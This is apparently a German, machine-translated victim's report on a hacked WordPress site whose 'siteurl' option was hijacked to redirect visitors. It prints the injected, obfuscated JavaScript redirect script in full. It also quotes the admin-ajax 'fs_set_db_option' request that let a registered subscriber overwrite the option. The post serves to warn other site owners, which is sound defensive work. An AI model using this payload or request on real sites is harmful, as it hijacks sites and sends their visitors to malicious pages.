Letzte Woche bin ich auf eine äußerst unangenehme Tatsache gestoßen. Nachdem ich meine Website besucht hatte, stellte ich fest, dass sie mich zu einer mir unbekannten Ressource weiterleitet, auf die das Antivirenprogramm Dr. extrem schwört Web
Stolz betrieben von WordPress Version 5.1
Alle ausgehenden Updates für die Engine, das Plugin und das Theme werden pünktlich installiert. Plugins nur aus dem offiziellen Repository, Thema auch.
Das Backup der Site wurde sofort heruntergeladen und von einer Antivirensoftware (Dr. Web, Kaspersky, AI-BOLIT) gescannt. Es gab jedoch keine Ergebnisse, alles ist sauber.
Manuell überprüfte Themendateien und einige Plugins, aber auch hier gab es kein Ergebnis.
Beim Überprüfen des Datenbankspeicherauszugs in der Tabelle wp_options im Parameter siteurl wurde die URL einer anderen Person ausgeblendet. Eigentlich gab es eine Weiterleitung zu ihm.
Dies geschah nach dem Prinzip: Beim Laden der Seite wurde der Parameter „siteurl“ insgesamt ersetzt
<script type='text/javascript' src=' URL '></script>
In diesem Fall wurde das folgende Skript geladen:
var x = getCookie('pp000001'); if (x) { var x2 = getCookie('pp000002'); if (x2) { var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } else { setCookie('pp000002','1',1); var sdfgdfg = String.fromCharCode(104, 116, 116, 112, 115, 58, 47, 47, 99, 108, 105, 99, 107, 46, 110, 101, 119, 112, 117, 115, 104, 46, 115, 117, 112, 112, 111, 114, 116, 47, 101, 115, 117, 122, 110, 120, 105, 102, 113, 107);document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } } else { setCookie('pp000001','1',1); var sdfgdfg = "URL";document.location.replace(sdfgdfg);window.location.href = sdfgdfg;document.location.href = sdfgdfg; } function setCookie(name,value,days) { var expires = ""; if (days) { var date = new Date(); date.setTime(date.getTime() + (days*8*60*60*1000)); expires = "; expires=" + date.toUTCString(); } document.cookie = name + "=" + (value || "") + expires + "; path=/"; } function getCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function eraseCookie(name) { document.cookie = name+'=; Max-Age=-99999999;'; }
Wie die URL eines anderen in die Datenbank gelangt ist, bleibt ein Rätsel. Wenn ich die URL auf die richtige änderte, funktionierte alles wieder, aber am nächsten Tag sah ich beim Überprüfen wieder Dr. Web schwört auf die umgeleitete Seite. Dieser Parameter wurde in der Datenbank erneut geändert.
Danach wurden neue Zugriffsprotokolle auf die Site und Fehlerprotokolle heruntergeladen. Es gab keine Fehler, aber eine äußerst interessante Anfrage an die Site wurde in den Zugriffsprotokollen gefunden:
/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=siteurl&option_value= URL
Nachdem ich die Einstellungen erneut korrigiert und überprüft hatte, ob alles funktioniert, habe ich versucht, diese Anforderung auf der Site zu wiederholen, aber nichts hat funktioniert. Die Einstellung in der Datenbank hat sich nicht geändert.
Es ist zu beachten, dass die Site für die Registrierung geöffnet ist und Benutzer die Rolle des "Abonnenten" erhalten. Der Zugriff auf den administrativen Teil ist vollständig geschlossen.
Es wurde versucht, einen neuen Benutzer zu registrieren, sich anzumelden, und nachdem diese Anforderung an die Site funktioniert hat, wurde die Einstellung in der Datenbank geändert.
Infolgedessen stellt sich heraus, dass diese Anforderung weiterhin funktioniert, wenn die Benutzerregistrierung auf der Site geöffnet ist, auch wenn die Abonnentenrolle und der Zugriff auf das Admin-Panel geschlossen sind.
Es wurde auf einer anderen Site überprüft, nachdem zuvor das gesamte Plugin deaktiviert und das Standarddesign festgelegt wurde - das Ergebnis ist das gleiche.
Wie man kämpft, außer wie man die Registrierung deaktiviert und verdächtige Benutzer entfernt - ich habe noch keine Lösung gefunden.
PS: google die Anfrage, infizierte Seiten wurden gefunden, sei vorsichtig.